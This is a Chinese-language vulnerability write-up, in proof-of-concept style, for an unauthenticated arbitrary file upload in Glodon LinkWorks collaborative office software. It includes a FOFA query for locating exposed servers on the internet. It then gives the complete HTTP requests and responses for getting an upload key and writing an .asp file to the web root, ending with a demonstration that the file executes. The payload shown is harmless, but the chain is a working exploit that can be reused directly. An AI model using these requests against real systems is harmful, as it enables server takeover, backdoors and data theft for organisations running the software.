

G3-3广联达-Linkworks协同办公管理平台-文件上传

漏洞描述：

由于广联达 LinkWorks /Services/FileService/UserFiles/GetAuthorizeKey.ashx接口处设置不当，未经身份认证的攻击者通过该漏洞上传恶意文件，可导致恶意代码执行、身份伪造、后门植入、敏感数据泄露，服务器

网站图片：



网络测绘：

fofa语法：

body="/Services/Identification/login.ashx" || header="/Services/Identification/login.ashx" || banner="/Services/Identification/login.ashx"

漏洞复现：

创建文件并获取上传授权码

```
POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
```

cmd=&destDir=./sysinfo/&destFilename=1.asp

Request

```
1 POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
2 Host: :8888
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
8 Connection: close
9 Content-Type: application/x-www-form-urlencoded
10
11 cmd=&destDir=./sysinfo/&destFilename=1.asp
```

Responses 83bytes / 45ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private, no-store
3 Content-Type: text/html; charset=utf-8
4 Vary: Accept-Encoding
5 Server: Microsoft-IIS/7.5
6 X-AspNet-Version: 4.0.30319
7 X-Powered-By: ASP.NET
8 Date: Mon, 08 Jan 2024 12:20:40 GMT
9 Connection: close
10 Content-Length: 83
11
12 {success:true,error:"",fileExists:false,key "fb28f842-62c6-4c8a-8df1-34f3ec0e8dcc"}
```

携带授权码写入文件内容

```
POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5
```

```
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="key"
获取到的上传授权码
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="destDir"
./sysinfo/
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="destFilename"
1.asp
-----WebKitFormBoundarytCOFhbEjc3IfYaY5
Content-Disposition: form-data; name="file"; filename="1.asp"
content-type:image/png
<% Response.Write("Hello, World") %>
-----WebKitFormBoundarytCOFhbEjc3IfYaY5--
```

Request

< > 数据包扫描 添加 构造请求

1 POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
2 Host: :8888
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
7 Connection: close
8 Content-Type: multipart/form-data; boundary=---WebKitFormBoundarytCOFhbEjc3IFyAY5
9
10 -----WebKitFormBoundarytCOFhbEjc3IFyAY5
11 Content-Disposition: form-data; name="key"
12 fb28f842-62c6-4c8a-8df1-34f3ec0e8dcc
13 -----WebKitFormBoundarytCOFhbEjc3IFyAY5
14 Content-Disposition: form-data; name="destDir"
15 ./sysinfo/
16 -----WebKitFormBoundarytCOFhbEjc3IFyAY5
17 Content-Disposition: form-data; name="destFilename"
18 1.asp
19 -----WebKitFormBoundarytCOFhbEjc3IFyAY5
20 Content-Disposition: form-data; name="file"; filename="1.asp"
21 content-type:image/png
22
23 <% Response.Write("Hello, World"); %>
24 -----WebKitFormBoundarytCOFhbEjc3IFyAY5--

Responses 118bytes / 45ms 美化 源代码语言

1 HTTP/1.1 200 OK
2 Cache-Control: private, no-store
3 Content-Type: text/html; charset=utf-8
4 Vary: Accept-Encoding
5 Server: Microsoft-IIS/7.5
6 X-Aspnet-Version: 4.0.30319
7 X-Powered-By: ASP.NET
8 Date: Mon, 08 Jan 2024 12:22:54 GMT
9 Connection: close
10 Content-Length: 118
11
12 上传成功, 已存储为: D:\Program Files (x86)\Glodon\GTP\data\gtp-default\FileStorage\UserFiles\./sysinfo/1.asp

回显了上传路径
验证

< > ↺

⚠ 不安全

0.8888/UserFiles/sysinfo/1.asp

Hello, World